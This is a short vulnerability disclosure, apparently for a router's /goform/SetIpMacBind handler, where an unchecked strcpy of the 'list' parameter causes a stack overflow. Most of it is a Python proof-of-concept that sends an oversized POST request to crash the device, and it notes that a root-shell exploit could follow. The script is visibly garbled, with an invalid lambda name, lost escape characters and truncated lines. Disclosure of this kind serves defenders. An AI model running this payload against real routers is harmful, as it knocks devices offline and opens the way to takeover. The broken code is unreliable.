



## **Vulnerability details**

/goform/SetIpMacBind, The static\_list is controllable, it will assign the value to the list, and finally use strcpy to copy the list to mib\_buf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x1000
p2 = b'list=' + p1
p3 = b"POST /goform/SetIpMacBind" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell